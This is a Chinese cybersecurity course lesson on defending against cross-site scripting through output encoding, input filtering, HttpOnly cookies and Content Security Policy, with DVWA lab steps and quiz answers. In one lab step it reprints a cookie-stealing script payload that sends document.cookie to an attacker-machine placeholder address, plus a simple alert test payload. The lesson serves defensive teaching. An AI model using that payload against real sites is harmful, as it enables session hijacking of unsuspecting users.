ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

【八个月网安课程】第七周·周三:XSS 防御——输入输出编码、CSP 策略与 HttpOnly

【八个月网安课程】第七周·周三:XSS 防御——输入输出编码、CSP 策略与 HttpOnly 以下是第七周周三学习内容的详细展开。今天你将彻底切换到防御者视角系统学习如何从根源上杜绝 XSS 漏洞。你会亲手加固有漏洞的代码见证攻击 payload 一一失效并理解 HttpOnly、CSP 等深度防御手段的威力与局限。第七周·周三XSS 防御——输入输出编码、CSP 策略与 HttpOnly 今日学习目标达成效果能说出XSS 产生的根本原因用户输入被当作 HTML/JavaScript 代码执行防御核心是“数据与代码的强制分离”能独立编写安全的输出处理代码在 Python 中使用html.escape()将特殊字符转义为 HTML 实体能解释为何输入校验黑名单/白名单只能作为辅助防线不能根治 XSS能配置一个严格的 Content Security Policy (CSP) 头阻止内联脚本执行并用浏览器开发者工具验证违规行为被拦截能理解HttpOnly Cookie 的作用防止 JavaScript 读取会话 Cookie从而阻断 Cookie 窃取型 XSS 攻击链能在 DVWA 和 Python 实验环境中演示防御前后攻击效果的变化并写出修复后的安全代码。 一、治本之策输出编码Output EncodingXSS 的根源在于数据与代码的边界被打破。浏览器无法区分哪部分是开发者写的 HTML 标签哪部分是用户输入的数据。输出编码的核心思想是在将数据嵌入 HTML 页面前将可能破坏 HTML 结构的特殊字符转换为安全的实体表示让浏览器只把它们当作纯文本显示而不是可执行的代码。1. 核心特殊字符转义字符HTML 实体说明lt;阻止标签开始gt;阻止标签结束通常非必须但建议转义quot;阻止属性值闭合#x27;阻止单引号属性值闭合amp;防止实体注入混淆2. 不同上下文的编码规则HTML 上下文标签之间使用 HTML 实体编码。属性上下文input value...需编码引号和空格最好也使用 HTML 实体。JavaScript 上下文scriptvar name .../script需进行 JavaScript 字符串编码且避免直接将用户数据嵌入脚本块。URL 上下文a href...需要进行 URL 编码并验证协议只允许 http/https。关键原则根据输出位置选择正确的编码方式。永远不要手动拼接用户输入到 HTML 中必须使用模板引擎的安全渲染或专业的编码库。3. Python 中的安全编码示例将昨天反射型 XSS 实验中的漏洞代码修复importhtml# 漏洞代码之前bodyfh1Hello,{name}!/h1# 安全代码修复后safe_namehtml.escape(name)bodyfh1Hello,{safe_name}!/h1现在访问http://127.0.0.1:8080/?namescriptalert(xss)/script页面会显示普通文本scriptalert(xss)/script而不会弹窗。PHP 对应htmlspecialchars($input, ENT_QUOTES, UTF-8) 二、辅助防线输入校验与过滤1. 输入过滤的定位输入过滤是在数据进入系统前根据业务需求限制或清除某些字符。例如一个“年龄”字段只允许数字一个“用户名”字段只允许字母、数字和下划线。但对于富文本如博客评论允许部分 HTML 标签输入过滤很难完美。2. 黑名单 vs 白名单黑名单阻止已知危险字符或字符串如script、javascript:。极易被大小写变形、编码、插入垃圾字符等方式绕过。不推荐作为主要防御。白名单只允许明确安全的字符或标签。例如使用 HTML Purifier 等库基于白名单过滤富文本。更安全但实现复杂。结论输入过滤是重要的纵深防御层可以减少攻击面但绝不可替代输出编码。因为无论数据如何进入系统只要最终输出时被正确编码XSS 就无法生效。 三、深度防御HttpOnly Cookie昨天你成功利用document.cookie窃取会话 ID是因为 DVWA 的会话 Cookie 没有设置HttpOnly属性。HttpOnly 的作用带HttpOnly标志的 Cookie 无法通过 JavaScript 访问document.cookie会忽略它。浏览器仍然会自动在 HTTP 请求中携带该 Cookie服务器正常读取。直接切断了通过 XSS 窃取会话 ID 的经典攻击链。如何设置PHP 示例ini_set(session.cookie_httponly,1);// 或setcookie(name,value,[httponlytrue,securetrue,// 仅 HTTPS 传输samesiteStrict]);局限HttpOnly 只保护了 Cookie 不被读取但攻击者仍可通过 XSS 执行其他操作如以受害者身份发起请求CSRF 自动化、修改页面内容、转发用户操作等。因此它是防线之一不是全部。 四、最后防线内容安全策略CSPCSP 是一种浏览器强制执行的安全策略通过 HTTP 响应头或meta标签告诉浏览器允许加载哪些来源的资源以及是否允许执行内联脚本。1. 基本语法Content-Security-Policy: default-src self; script-src self https://trusted.cdn.comdefault-src self默认只允许同源资源。script-src self只允许同源脚本不包含unsafe-inline时页面内嵌的script标签和事件属性如onclick将全部失效。style-src、img-src、connect-src等类似。2. 阻止 XSS 的原理即使攻击者成功注入了scriptalert(1)/script如果 CSP 不允许内联脚本且未允许unsafe-inline浏览器会拒绝执行该脚本并在控制台输出 CSP 违规报告。这是对 XSS 的终极兜底防御。3. 实际配置示例在 Python HTTP 服务中添加头self.send_header(Content-Security-Policy,default-src self; script-src self; style-src self)部署后任何内联脚本包括合法脚本都会被拦截。因此 CSP 通常需要网站从架构上配合改造所有脚本外置。✍️ 五、动手实践防御效果对比实验我们将对昨天使用的 DVWA 存储型 XSS 进行逐层防御并验证攻击失败。实践 1启动 HttpOnly 防护修改 DVWA 的 PHP 配置或.htaccess开启session.cookie_httponly 1。如果你用的是 Docker 或集成环境可在php.ini中设置然后重启服务。重新登录 DVWA使用开发者工具查看 Cookie确认PHPSESSID的HttpOnly列打勾。再次在存储型 XSS 中输入昨天的窃取脚本scriptnewImage().srchttp://攻击机IP:9999/log?cookiedocument.cookie;/script模拟受害者访问。查看攻击机终端收到的 Cookie 字符串中将不再包含PHPSESSID可能只有securitylow等非 HttpOnly Cookie。会话劫持失败。记录这就是 HttpOnly 的直接效果。实践 2输出编码修复Python 模拟修改昨天的xss_reflect.py加入html.escape()重启服务。再次尝试 payloadscriptalert(xss)/script确认弹窗消失页面安全显示文本。实践 3配置 CSP 阻止内联脚本在你控制的 Web 页面Python 服务响应中添加 CSP 头self.send_header(Content-Security-Policy,script-src self)然后页面本身如果有一个合法的内联脚本如scriptconsole.log(safe)/script浏览器会拒绝执行并在控制台报告。再尝试注入 XSS payload同样不会执行。结论三层防御HttpOnly、输出编码、CSP层层设卡即使一层被突破仍有后续防御。 六、课后测试题与解析测试题 1如何通过设置 Cookie 的 HttpOnly 属性防御 XSS 窃取请写出 PHP 开启方法并说明其局限性。参考答案在 PHP 中通过ini_set(session.cookie_httponly, 1)或setcookie时传递httponlytrue来开启。开启后浏览器禁止 JavaScript 访问该 Cookie使得 XSS 无法通过document.cookie窃取会话 ID。局限性攻击者仍可以利用 XSS 漏洞进行其他攻击如发起 CSRF 请求、修改页面内容、钓鱼等不能完全消除 XSS 的影响。因此仍需配合输出编码等根本措施。测试题 2CSP内容安全策略如何防止内联 XSS请写出一条禁止内联脚本的 CSP 头部。参考答案通过设置Content-Security-Policy头不包含unsafe-inline关键字禁止内联脚本执行。例如Content-Security-Policy: script-src self该策略只允许执行同源的外部脚本文件任何在 HTML 中直接书写的script标签或事件属性如onerror都会被浏览器拦截。即使攻击者注入了恶意脚本也不会执行。✅ 今日学习效果自检清单我能够使用html.escape()或其他语言对应的函数修复 XSS 漏洞我知道输出编码必须根据上下文HTML/JS/URL选择正确方式我成功开启了 HttpOnly并验证了 Cookie 窃取攻击失效我配置了一个基础的 CSP 头并观察到浏览器拦截内联脚本我理解输入过滤只是辅助不能替代输出编码我能画出“输入过滤→输出编码→HttpOnly→CSP”的四层防御环⚠️ 阶段避坑重点输出编码不要混淆上下文HTML 实体编码用于标签之间JavaScript 字符串编码用于script块内URL 编码用于href等。错误编码可能导致功能异常或仍被绕过。不要在生产环境盲目添加 CSP需要先分析网站依赖将所有内联脚本和样式外部化否则合法功能也会被破坏。HttpOnly 不能替代 XSS 修复不要因为有了 HttpOnly 就忽视输出编码攻击者仍可窃取其他信息或执行恶意操作。不要仅依赖输入过滤黑名单一定会被绕过变化无穷的编码和混淆白名单在复杂输入场景中可能过于严格影响业务。明天我们将学习CSRF 跨站请求伪造你将看到即使 XSS 被防御攻击者仍可能利用浏览器的自动 Cookie 携带机制伪造请求。XSS 和 CSRF 常常结合但防御方法完全不同请保留今天的防御配置明天我们会尝试绕过它们。
返回列表